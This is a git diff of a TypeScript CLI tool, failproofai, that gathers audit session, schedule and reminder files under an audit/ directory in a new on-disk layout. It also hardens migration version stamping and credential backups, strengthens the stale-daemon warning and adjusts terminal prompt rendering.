@@ -212,10 +225,54 @@ export const customAgentsFailedDir = (home?: string) => resolve(customAgentsDir(
// ── Audit ────────────────────────────────────────────────────────────────────
+/**
+ * Everything the audit owns, and a MIXED directory as of layout 4.
+ *
+ * `auditDir` is deliberately NOT classified in `HOME_CLASSES`, for exactly the
+ * reason `stateDir` is not: it now holds a credential and a machine identity
+ * alongside two caches, so one class cannot be right for all of it. Before
+ * layout 4 the whole directory was `derived` — correct then, and the trap the
+ * moment `session.json` moved in, because `resettablePaths()` is a filter over
+ * that table and would have deleted the user's tokens on every reset and every
+ * future migration. Classify the CHILDREN; never the parent.
+ */
export const auditDir = (home?: string) => atHome(home, "audit");
export const auditDashboardFile = (home?: string) => resolve(auditDir(home), "dashboard.json");
export const auditCacheDir = (home?: string) => resolve(auditDir(home), "cache");
+/**
+ * The signed-in user's tokens. `0600`, written only by the dashboard's auth
+ * routes and the audit child (`lib/auth/auth-store.ts`).
+ *
+ * Layout 3 kept this at the home root as `auth.json`, where it was invisible to
+ * `HOME_CLASSES` altogether — neither classified nor deleted, safe by accident
+ * rather than by decision. It is `user-typed`: nothing regenerates a session,
+ * and dropping it silently signs the machine out.
+ *
+ * TS-only, so it is absent from `paths.rs` by design: the daemon never opens
+ * it. The audit child does the reporting precisely so the daemon holds no human
+ * credential — see `audit_lane.rs`.
+ */
+export const auditSessionFile = (home?: string) => resolve(auditDir(home), "session.json");
+
+/**
+ * This machine's report identity: the id the api-server keys reports on, and
+ * the watermark saying how far the last digest reached.
+ *
+ * SEPARATE from `auditSessionFile` on purpose, and the separation is the whole
+ * design. Both fields have to outlive a sign-out: regenerate the id and the
+ * server sees a brand-new machine and burns a slot off the account's cap on
+ * every logout; reset the watermark and the next digest re-reports months of
+ * history as though it just happened. So this is `identity` — never deleted,
+ * like `cursors/` and `telemetryIdFile` — while the tokens beside it come and
+ * go with the session.
+ *
+ * Minted fresh rather than reusing `telemetryIdFile`, so opting into emailed
+ * reports never links the anonymous telemetry person to a verified address.
+ */
+export const auditMachineFile = (home?: string) => resolve(auditDir(home), "machine.json");
+
+
// ── Hook activity ────────────────────────────────────────────────────────────
/** The decision log: page-sized JSONL the dashboard's activity tab reads. */
@@ -270,10 +327,17 @@ export const sessionPauseDir = () => resolve(stateDir(), "sessions");
* mirrors this path in `paths.rs`) — it owns the schedule, and a second writer
* racing it could hand a machine two full scans back to back. Everything on this
* side reads it: the interval itself lives in `config.json`'s `audit` object,
- * which a human edits, while this file is derived state a human never opens,
- * which is why it sits under `state/` rather than beside the audit results.
+ * which a human edits, while this file is derived state a human never opens.
+ *
+ * Layout 4 moved it out of `state/` and in beside the audit results. It stays
+ * `derived` — losing it costs one rescheduled scan, nothing more — but it now
+ * sits with the rest of what the audit owns rather than in the daemon's scratch
+ * drawer, which is what makes `audit/` answerable as one directory.
+ *
+ * Declared here, below `stateDir`, only because the section order of this file
+ * is historical; the path itself is under `auditDir`.
*/
-export const auditScheduleFile = (home?: string) => resolve(stateDir(home), "audit-schedule.json");
+export const auditScheduleFile = (home?: string) => resolve(auditDir(home), "schedule.json");
/**
* The anonymous instance id this machine reports telemetry under.
*
@@ -427,6 +491,13 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da
// source destroyed, while `isConfigured()` still read true so the wizard never
// re-asked and hooks kept firing against an empty policy set.
{ path: policiesDir, class: "user-typed" },
+ // The signed-in session. `auth.json` at the home root through layout 3, where
+ // it was in NEITHER this table nor the delete list — undeleted by oversight
+ // rather than by decision, which is the state this table exists to make
+ // impossible. Nothing regenerates a session; losing it signs the machine out
+ // with no notice, and the machine only finds out the next time it tries to
+ // report.
+ { path: auditSessionFile, class: "user-typed" },
// ── Never deleted: recorded and not yet shipped ──
// Batches read out of transcripts and queued for upload. The reason losing
@@ -471,10 +542,23 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da
// deleting the backup is deleting the undo for the step that just ran.
{ path: migrationsDir, class: "identity" },
+ // This machine's report identity + digest watermark. `identity` for the same
+ // reason `cursorsDir` is: a new id is a new machine to the api-server, which
+ // burns a slot off the account's machine cap, and a reset watermark re-reports
+ // history the user was already told about. Kept OUT of `auditSessionFile`
+ // precisely so both survive a sign-out.
+ { path: auditMachineFile, class: "identity" },
+
// ── May be dropped: rebuilt on demand ──
- { path: auditDir, class: "derived" },
- { path: collectorHealthFile, class: "derived" },
+ // NOTE: `auditDir` itself is deliberately absent. Layout 4 made it MIXED — it
+ // holds the session and the machine identity above alongside these three — so
+ // it is classified per-file, exactly like `stateDir`. Listing the parent here
+ // (which layout 3 did, correctly for what it then held) would put the token on
+ // the delete list.
+ { path: auditDashboardFile, class: "derived" },
+ { path: auditCacheDir, class: "derived" },
{ path: auditScheduleFile, class: "derived" },
+ { path: collectorHealthFile, class: "derived" },
{ path: codexSessionPathsFile, class: "derived" },
{ path: shimsDir, class: "derived" },
{ path: sessionPauseDir, class: "derived" },
@@ -555,6 +639,28 @@ export const legacy = {
launcherMarker: () => at(".launcher-configured"),
lastVersion: () => at("last-version"),
auditDashboard: () => at("audit-dashboard.json"),
+ /**
+ * Layout 3's audit-owned files, before layout 4 gathered them under `audit/`.
+ *
+ * The first two were never classified in `HOME_CLASSES`, so unlike every other
+ * entry in this map they were not on any delete list — the layout-4 step MOVES
+ * them and there is no older copy to prune. They are here so that step can
+ * find them, and so `filesToBackUp()` copies them aside first: a bug in the
+ * move would otherwise take a live session with it.
+ */
+ authJson: () => at("auth.json"),
+ nextAudit: () => at("next-audit.json"),
+ /**
+ * Layout 4's `audit/reminder.json`, retired before it was ever written to.
+ *
+ * The layout-4 step MOVES `next-audit.json` here rather than deleting it,
+ * because the scheduled-audit work that replaces reminders had not landed yet
+ * and dropping a cadence someone chose would have been unrecoverable if it
+ * slipped. It has landed; the reminder concept is gone, and this is the
+ * position the file was parked in. Listed so a reset clears it.
+ */
+ auditReminder: () => at("audit", "reminder.json"),
+ auditSchedule: () => at("state", "audit-schedule.json"),
cacheDir: () => at("cache"),
hookActivityDir: () => at("cache", "hook-activity"),
auditCacheDir: () => at("cache", "audit"),
@@ -640,6 +746,10 @@ function retiredLayoutPaths(): string[] {
// `migrateHookActivity()`, and everything else in `cache/` still goes —
// both remaining entries are re-derived on demand.
legacy.auditCacheDir(),
+ // The reminder, at the position layout 4 parked it in. It is on this list
+ // rather than in `HOME_CLASSES` because the path is RETIRED: nothing writes
+ // it any more, so it has no class to carry — only a location to clear.
+ legacy.auditReminder(),
legacy.codexSessionPaths(),
legacy.spoolDir(),
legacy.failedDir(),
diff --git a/src/hooks/fp-reset.ts b/src/hooks/fp-reset.ts
index 74fd2cfc3..cf7f67aa5 100644
--- a/src/hooks/fp-reset.ts
+++ b/src/hooks/fp-reset.ts
@@ -910,7 +910,12 @@ export function readCarriedLegacyCredentials(): FpCredentials | null {
return Object.keys(creds).length > 0 ? creds : null;
}
-export function resetHome(from: number): ResetOutcome {
+/**
+ * @param to The layout this step LANDS on, which is not always the current one.
+ * Defaults to `LAYOUT_VERSION` for a direct call, but the registry passes the
+ * step's own `to` — see the stamp at the end of this function.
+ */
+export function resetHome(from: number, to: number = LAYOUT_VERSION): ResetOutcome {
// BEFORE the deletions, so a file that is mid-move is never one the reset
// then walks over.
const migrated = migrateConventionPolicies();
@@ -959,7 +964,22 @@ export function resetHome(from: number): ResetOutcome {
// straight out of the same file. Both paths end at the same key, and only one
// of them represents something a person typed.
if (telemetryOptOut) updateConfig({ telemetry: { enabled: false } });
- writeVersionFile();
+ // The step's OWN target, not LAYOUT_VERSION.
+ //
+ // Every step used to end stamping the current layout, which was harmless
+ // while every chain was one hop. On `1 → 3 → 4` it means the first step
+ // marks the home layout 4 with its files still at layout 3, and the window
+ // between that stamp and the next step completing is a real one: a SIGKILL,
+ // an OOM or a power loss inside it leaves a home that reads as `current`
+ // forever. `detectLayout()` short-circuits on the marker, so no later
+ // command re-examines the landmarks, and `auth.json` sits at the root while
+ // layout 4 reads `audit/session.json` — a machine silently signed out with
+ // its session on disk and nothing that would ever move it.
+ //
+ // `runMigrations` also repairs an over-stamp in its `catch`, but a killed
+ // process runs no catch. Stamping the truth in the first place is what makes
+ // that repair a second line of defence rather than the only one.
+ writeVersionFile({ layout: to });
return { removed, migrated, activity, policyConfig, spooled, from };
}
@@ -1094,6 +1114,10 @@ export async function checkLayoutForCli(): Promise {
// After, not before — see the function's own note for why the intuitive
// order cannot work.
const pending = await drainSpoolAfterMigrating();
+ // Read AFTER the migration: on a machine coming from layout 1 or 2 the
+ // config this reads is the one the migration just carried across, so asking
+ // any earlier would read a file that is about to move.
+ const daemonHint = staleDaemonHint();
return {
state,
fatal: false,
@@ -1160,6 +1184,14 @@ export async function checkLayoutForCli(): Promise {
// so the machine enforces exactly as it did before this command ran. A
// home that genuinely never finished setup reaches the wizard through
// `shouldOfferFirstRun`, which reads `isConfigured()` — see `didReset`.
+ //
+ // The daemon hint belongs HERE above all, and was missing. This branch
+ // is the one that moves the home and stamps the new layout marker — it
+ // is the command that CREATES the incompatibility with an unrefreshed
+ // daemon, and it was the one command saying nothing about it. Every
+ // later command reached the non-stale return below and got the hint;
+ // the one where the user is watching the reorganisation happen did not.
+ ...(daemonHint.length > 0 ? ["", ...daemonHint] : []),
],
};
}
@@ -1269,20 +1301,58 @@ async function healDaemonFlag(): Promise {
}
/**
- * One line when the daemon is older than the CLI.
- *
- * Deliberately NOT on the hook path. A stale daemon still enforces every policy
- * correctly — it is slower to notice an upgrade, not broken — so a warning once
- * per tool call would be noise about something that is working. CLI commands
- * are where a person is present to act on it.
+ * What to say when the daemon's version does not match the CLI's.
+ *
+ * Deliberately NOT on the hook path. CLI commands are where a person is present
+ * to act on it, and once per tool call would be noise.
+ *
+ * Two messages, because the stakes are not the same on both kinds of machine.
+ *
+ * On a machine that does NOT require the daemon, a stale one is what it looks
+ * like: slower to notice an upgrade, still enforcing correctly.
+ *
+ * On a machine that DOES — `daemon.configured` — it is a scheduled outage.
+ * failproofaid calls `refuse_foreign_layout()` before it binds its socket and
+ * exits when the home's layout marker is not the one its binary was built
+ * against, and a release that moves `~/.failproofai` therefore strands every
+ * daemon that has not been refreshed. Nothing looks wrong in the meantime: the
+ * running process read the marker once at startup and keeps serving from
+ * memory. The failure lands at the next restart — a reboot, a crash,
+ * `systemctl restart` — where the unit exits nonzero, `Restart=on-failure`
+ * trips the start limit, and the service latches `failed`. From there the
+ * machine fails closed and denies every tool call across all 11 CLIs, and
+ * `healDaemonFlag()` will not rescue it because a layout-refusing unit reads as
+ * `stopped`, which it deliberately excludes.
+ *
+ * This used to say a stale daemon "is slower to notice an upgrade, not broken"
+ * to everybody, and pointed at `failproofai config`. Across a layout bump that
+ * is the wrong sentence and the wrong command.
*/
function staleDaemonHint(): string[] {
try {
const skew = daemonVersionSkew();
if (!skew) return [];
+ let requiresDaemon = false;
+ try {
+ requiresDaemon = readConfig().daemon.configured;
+ } catch {
+ // Unreadable config: fall through to the mild message rather than
+ // frightening somebody whose machine may not require the daemon at all.
+ }
+ if (requiresDaemon) {
+ return [
+ `[failproofai] daemon is ${skew.installed}, CLI is ${skew.expected}.`,
+ `This machine is configured to REQUIRE the daemon. A daemon built against a`,
+ `different on-disk layout refuses to start, and this version moved it — so the`,
+ `next reboot or restart can leave the service down, which denies every tool`,
+ `call until it is fixed.`,
+ `Run \`failproofai update\` now to bring the daemon in line.`,
+ ``,
+ ];
+ }
return [
`[failproofai] daemon is ${skew.installed}, CLI is ${skew.expected} — ` +
- `run \`failproofai config\` to update it.`,
+ `run \`failproofai update\` to update it.`,
``,
];
} catch {
diff --git a/src/hooks/migrations.ts b/src/hooks/migrations.ts
index 1f551d431..5a47dd4d2 100644
--- a/src/hooks/migrations.ts
+++ b/src/hooks/migrations.ts
@@ -37,11 +37,22 @@
* than counting. A chain from 1 today is one step; when layout 4 lands it becomes
* `1 → 3` then `3 → 4`, and only the second has to be written.
*/
-import { copyFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
-import { basename, dirname, resolve } from "node:path";
+import {
+ chmodSync,
+ copyFileSync,
+ existsSync,
+ mkdirSync,
+ readFileSync,
+ renameSync,
+ rmSync,
+ writeFileSync,
+} from "node:fs";
+import { basename, dirname, join, resolve } from "node:path";
import { version as cliVersion } from "../../package.json";
import {
LAYOUT_VERSION,
+ auditScheduleFile,
+ auditSessionFile,
configFile,
credentialsFile,
failproofaiHome,
@@ -52,6 +63,7 @@ import {
migrationsDir,
versionFile,
} from "./fp-home";
+import { readVersionFile, writeVersionFile } from "./fp-config";
import { resetHome, type ResetOutcome } from "./fp-reset";
export interface Migration {
@@ -78,17 +90,154 @@ export const MIGRATIONS: readonly Migration[] = [
to: 3,
describe:
"layout 1 → 3: carry the decision log out of cache/, keep the policy config in place, drop the layout-1 credential files",
- run: () => resetHome(1),
+ run: () => resetHome(1, 3),
},
{
from: 2,
to: 3,
describe:
"layout 2 → 3: carry config.toml and credentials.toml into JSON, move custom-policies/ back up into policies/, nest the policy config at the root",
- run: () => resetHome(2),
+ run: () => resetHome(2, 3),
+ },
+ {
+ from: 3,
+ to: 4,
+ describe:
+ "layout 3 → 4: gather the audit's files under audit/ — auth.json becomes audit/session.json, next-audit.json becomes audit/reminder.json, state/audit-schedule.json becomes audit/schedule.json",
+ run: migrateToLayout4,
},
];
+/**
+ * Layout 3 → 4. The first step written against this registry rather than
+ * delegating to `resetHome`, which is what the header promised: additive.
+ *
+ * Three moves, no deletions. Each is a rename with a copy fallback, because
+ * `audit/` and the home root can sit on different filesystems once `$HOME` is a
+ * network mount or the home has been assembled by a container bind — `rename(2)`
+ * returns `EXDEV` there, and a step that threw on it would strand the machine at
+ * layout 3 forever.
+ *
+ * The reminder's destination is `legacy.auditReminder()`, a RETIRED path. The
+ * feature it belonged to is deleted in this same release, so nothing will ever
+ * read the file again — but a migration that DESTROYS something a person chose
+ * is a different act from one that moves it, and the difference matters even
+ * when the thing is obsolete. It is moved here and cleared by the next reset,
+ * via `retiredLayoutPaths()`.
+ *
+ * **A missing source is success, not failure.** Most homes have never signed in,
+ * so `auth.json` and `next-audit.json` are absent on the majority of machines,
+ * and a scheduled scan that has never run leaves no `audit-schedule.json`. Only
+ * a source that EXISTS and could not be moved is an error worth stopping for.
+ *
+ * **A destination that already exists wins.** Re-running the step — which is
+ * exactly what happens when a later step in the same chain throws and the user
+ * retries — must not copy a stale layout-3 file back over the layout-4 one that
+ * has since been written to.
+ */
+function migrateToLayout4(): ResetOutcome {
+ const moves: { from: string; to: string }[] = [
+ { from: legacy.authJson(), to: auditSessionFile() },
+ { from: legacy.nextAudit(), to: legacy.auditReminder() },
+ { from: legacy.auditSchedule(), to: auditScheduleFile() },
+ ];
+
+ // `FAILPROOFAI_AUTH_DIR` names a directory OUTSIDE the managed home — a
+ // documented env var, not a test hook — and `auth-store` resolves the session
+ // relative to it. Every path above comes from `FAILPROOFAI_HOME`, so without
+ // this the override directory is never visited: the file stays `auth.json`,
+ // layout 4 reads `session.json`, and the upgrade signs the user out silently.
+ // Their scans keep running and their digests stop, which is the failure this
+ // whole area is built to avoid.
+ //
+ // The same two moves, in their directory, so one naming scheme holds
+ // everywhere rather than the file having a different name depending on how
+ // the process was configured.
+ const authDirOverride = process.env.FAILPROOFAI_AUTH_DIR;
+ if (authDirOverride) {
+ moves.push(
+ { from: join(authDirOverride, "auth.json"), to: join(authDirOverride, "session.json") },
+ {
+ from: join(authDirOverride, "next-audit.json"),
+ to: join(authDirOverride, "reminder.json"),
+ },
+ );
+ }
+
+ const migrated: string[] = [];
+ for (const { from, to } of moves) {
+ if (!existsSync(from)) continue;
+ if (existsSync(to)) {
+ // The layout-4 file is already authoritative. Drop the stale original
+ // rather than leaving a second copy of a credential lying at the root.
+ //
+ // A failure here PROPAGATES. Swallowing it continued to `writeVersionFile`
+ // and stamped the home as layout 4 with `auth.json` — a live bearer token
+ // — still sitting at the root, where nothing would ever look at it again
+ // and nothing would ever clean it up. Throwing leaves the home at layout 3
+ // and the next command retries, which is exactly what `runMigrations`
+ // documents a failed step to mean; the destination is already
+ // authoritative, so the retry is a no-op plus one more delete attempt.
+ rmSync(from, { force: true });
+ continue;
+ }
+ mkdirSync(dirname(to), { recursive: true });
+ try {
+ renameSync(from, to);
+ } catch {
+ // EXDEV, or a rename racing something holding the file open on Windows.
+ try {
+ copyFileSync(from, to);
+ } catch (err) {
+ // Remove the PARTIAL destination before giving up.
+ //
+ // `copyFileSync` is not atomic: ENOSPC or a kill part-way through
+ // leaves a truncated `to` on disk. The source is still intact at this
+ // point, so nothing is lost yet — but the next attempt takes the
+ // `existsSync(to)` branch above, reads that fragment as the
+ // authoritative layout-4 file, and deletes the good original. A
+ // half-written session file is not a session, so the retry would have
+ // signed the machine out using the very branch that exists to protect
+ // the credential.
+ try {
+ rmSync(to, { force: true });
+ } catch {
+ // Nothing better to do. The throw below still leaves the home at
+ // layout 3, so `deleteAuth`'s sweep and the backup both still apply.
+ }
+ throw err;
+ }
+ rmSync(from, { force: true });
+ }
+ migrated.push(`${basename(from)} → audit/${basename(to)}`);
+ }
+
+ // `session.json` carries tokens and `auth.json` was written 0600 by
+ // `writeJsonAtomically`. A rename preserves the mode, but a copy fallback
+ // inherits the process umask — so reassert it rather than assume which branch
+ // ran. Belt and braces on a file whose whole content is a bearer credential.
+ for (const secret of [auditSessionFile()]) {
+ if (!existsSync(secret)) continue;
+ try {
+ chmodSync(secret, 0o600);
+ } catch {
+ // Best effort, exactly as `writeJsonAtomically` treats it.
+ }
+ }
+
+ // The same stamper every other write of this file goes through. Hand-rolling
+ // the JSON here would drop `daemon`, which nothing on this path touches and
+ // which `daemonVersionSkew()` reads on every CLI command.
+ //
+ // This step's own `to`, spelled out for the same reason `resetHome` takes
+ // one: a step must never mark the home as a layout it did not reach. Here
+ // they happen to be equal, and writing the literal is what keeps them equal
+ // by intent rather than by coincidence when layout 5 arrives.
+ writeVersionFile({ layout: 4 });
+
+ return { removed: [], migrated, activity: [], policyConfig: [], spooled: [], from: 3 };
+}
+
/**
* The steps that take `from` to {@link LAYOUT_VERSION}.
*
@@ -256,6 +405,14 @@ const BACKED_UP_LEGACY: BackedUpFile[] = [
// most incomplete exactly where it mattered most.
{ at: legacy.cloudCredentials },
{ at: legacy.ingestCredentials },
+ // The three files the layout-4 step MOVES. `auth.json` is the one that
+ // matters: it is a live bearer credential, and unlike every other entry here
+ // it was never on a delete list — so it has never had a copy taken before a
+ // migration touched it. A move is not a deletion, but a move with a bug in it
+ // is, and this is the only insurance against that.
+ { at: legacy.authJson },
+ { at: legacy.nextAudit },
+ { at: legacy.auditSchedule },
];
/** The name a file is saved under inside `backup-layout/`. */
@@ -263,6 +420,57 @@ function backupNameOf(f: BackedUpFile): string {
return f.as ?? basename(f.at());
}
+/**
+ * Backup copies deleted once the whole chain has succeeded.
+ *
+ * The backup above is insurance against a migration that goes wrong. Insurance
+ * you keep forever on a live credential is not insurance, it is a second copy
+ * of the credential — and this one is worse than the original, because
+ * `migrationsDir` is classed `identity` in `HOME_CLASSES`, so no reset class
+ * ever removes it, and `deleteAuth()` only ever knew about the live path.
+ * Signing out of the dashboard, a 401 auto-delete and `failproofai reset` all
+ * left a working bearer and refresh token sitting at
+ * `migrations/backup-layout3/auth.json`, where every dotfile backup, container
+ * image, snapshot and handed-over machine would carry it. There is no CLI
+ * sign-out at all, so the headless boxes this feature targets had no supported
+ * way to remove it. A stale refresh token is also exactly the input
+ * `auth-store.ts` documents as triggering server-side replay revocation.
+ *
+ * Only entries whose source was MOVED are prunable, never ones that were
+ * DELETED: for `credentials.json` the backup is the only remaining copy, so
+ * removing it would be the data loss the backup exists to prevent. `landsAt` is
+ * checked rather than assumed, so a copy is dropped only once the file is
+ * provably readable at its new home.
+ */
+const PRUNED_AFTER_SUCCESS: ReadonlyArray<{ as: string; landsAt: () => string }> = [
+ { as: basename(legacy.authJson()), landsAt: auditSessionFile },
+];
+
+/**
+ * Remove the credential copies a completed chain no longer needs.
+ *
+ * Never throws: a chain that migrated correctly must not be reported as failed
+ * because a cleanup could not delete a file.
+ */
+export function pruneMigratedCredentials(from: number): string[] {
+ const pruned: string[] = [];
+ for (let layout = from; layout < LAYOUT_VERSION; layout++) {
+ for (const { as, landsAt } of PRUNED_AFTER_SUCCESS) {
+ try {
+ if (!existsSync(landsAt())) continue;
+ const copy = resolve(migrationBackupDir(layout), as);
+ if (!existsSync(copy)) continue;
+ rmSync(copy, { force: true });
+ pruned.push(as);
+ } catch {
+ // Best effort. `deleteAuth()` sweeps these too, so a copy that survives
+ // here is still removed the next time somebody signs out.
+ }
+ }
+ }
+ return pruned;
+}
+
/**
* The files that exist right now and would be backed up, each exactly once.
*
@@ -385,6 +593,31 @@ export function runMigrations(
});
} catch (err) {
steps.push({ from: step.from, to: step.to, ok: false });
+ // Undo an EARLIER step's over-stamp, if there was one.
+ //
+ // A step ends by stamping `VERSION`, and `writeVersionFile()` writes
+ // {@link LAYOUT_VERSION} rather than the step's own `to`. That was harmless
+ // while every chain was one hop and became a trap the moment one was two:
+ // on `2 → 3 → 4` the FIRST step stamps 4, so a `3 → 4` that then throws
+ // leaves a home marked CURRENT that was never migrated. `detectLayout()`
+ // reports `current`, no later command ever retries, and `auth.json` stays
+ // at the root while layout 4 reads `audit/session.json` — a machine
+ // silently signed out, with its session sitting on disk and nothing left
+ // that would ever move it.
+ //
+ // Only touched when the marker already claims the home is current, so a
+ // chain whose steps never got that far keeps whatever they left. `step.from`
+ // is where this one actually got to: every earlier step succeeded, and a
+ // failing step is documented not to roll back — which is exactly the state
+ // the next command should try to migrate again.
+ try {
+ const marker = readVersionFile();
+ if (marker && marker.layout >= LAYOUT_VERSION) writeVersionFile({ layout: step.from });
+ } catch {
+ // A marker we cannot rewrite leaves the home reading as whatever the last
+ // successful step claimed. Nothing further can be done about it here, and
+ // failing the run a second way would only hide the real error below.
+ }
failed = {
from: step.from,
to: step.to,
@@ -402,6 +635,10 @@ export function runMigrations(
}
}
+ // Only on a clean chain. A run that failed still needs its copies: the whole
+ // point of the backup is the state this branch is in.
+ if (!failed) pruneMigratedCredentials(from);
+
return { from, steps, backedUp, outcome, failed };
}
diff --git a/src/hooks/tui.ts b/src/hooks/tui.ts
index 88c984a0a..93d28d56d 100644
--- a/src/hooks/tui.ts
+++ b/src/hooks/tui.ts
@@ -361,6 +361,48 @@ export function renderLaunchBanner(version: string, stdout: TTYOut = process.std
];
}
+/**
+ * Print a step that is already SETTLED — the `◇ / message / summary` block
+ * `selectOne` leaves behind when it resolves.
+ *
+ * Extracted because a flow assembled out of `promptText` had no way to show its
+ * own history: `intro` opens the spine and `outro` closes it, and everything in
+ * between was bare lines that made the frame look like it belonged to a
+ * different command. `summary` is the answer, dimmed under the question, which
+ * is what makes a completed step readable at a glance rather than a heading
+ * with nothing under it.
+ */
+export function step(
+ message: string,
+ summary?: string | string[],
+ stdout: TTYOut = process.stdout,
+): void {
+ const c = paint(colorsEnabled(stdout));
+ const rows = summary === undefined ? [] : Array.isArray(summary) ? summary : [summary];
+ if (!stdout.isTTY) {
+ if (rows.length) stdout.write(`${message}: ${rows.join(" ")}\n`);
+ return;
+ }
+ // Truncated to the terminal, because a summary that wraps loses the spine on
+ // its second row and the block stops reading as one step.
+ const cols = stdout.columns || 80;
+ const lines = [c.dim(BAR), truncate(`${c.dim(STEP_DONE)} ${message}`, cols - 1)];
+ for (const r of rows) lines.push(truncate(`${c.dim(BAR)} ${c.dim(r)}`, cols - 1));
+ writeLines(stdout, lines);
+}
+
+/**
+ * Open a step and leave the cursor on it, for a prompt that draws its own line.
+ *
+ * The counterpart to {@link step}: `◆` in teal with the question in bold, then
+ * a spine row the prompt is expected to hang off via `PromptTextOptions.prefix`.
+ */
+export function stepOpen(message: string, stdout: TTYOut = process.stdout): void {
+ const c = paint(colorsEnabled(stdout));
+ if (!stdout.isTTY) return;
+ writeLines(stdout, [c.dim(BAR), `${c.guide(STEP_ACTIVE)} ${c.bold(message)}`]);
+}
+
/** Close the flow with a terminating └ line — pink on success, dim on cancel. */
export function outro(
message: string,
@@ -724,6 +766,16 @@ export function multiSelect(opts: MultiSelectOptions): Promise {
const draw = (error?: string) => {
const cols = stdout.columns || 80;
const shown = opts.mask ? "•".repeat(value.length) : value;
- const hint = opts.hint ? ` ${c.dim(opts.hint)}` : "";
+ // The hint is a PLACEHOLDER — an example of what belongs here — so it
+ // steps aside as soon as there is a real answer to look at. Keeping both
+ // on one line put the example and the input side by side, which is the
+ // arrangement most likely to make somebody wonder which one is theirs.
+ const hint = opts.hint && value.length === 0 ? ` ${c.dim(opts.hint)}` : "";
// Truncate to ONE physical row. `\r\x1b[2K` erases the row the cursor is
// on and nothing above it — so a line wider than the terminal wraps, the
// erase reaches only its last row, and every keystroke leaves the earlier
@@ -791,8 +847,10 @@ export function promptText(opts: PromptTextOptions): Promise {
// stacked copies of the prompt: `API key for ` plus the masked
// value plus the `needs events:add · policies:pull …` hint is past 80
// columns before the key is even half typed.
- const line = truncate(`${c.bold(opts.message)} ${shown}${hint}`, cols - 1);
- const err = error ? `\n ${truncate(c.warn(error), cols - 3)}` : "";
+ const line = truncate(`${opts.prefix ?? ""}${c.bold(opts.message)} ${shown}${hint}`, cols - 1);
+ const err = error
+ ? `\n${opts.prefix ?? " "}${truncate(c.warn(error), cols - 3)}`
+ : "";
stdout.write(`\r\x1b[2K${line}${err}`);
if (err) stdout.write("\x1b[1A");
};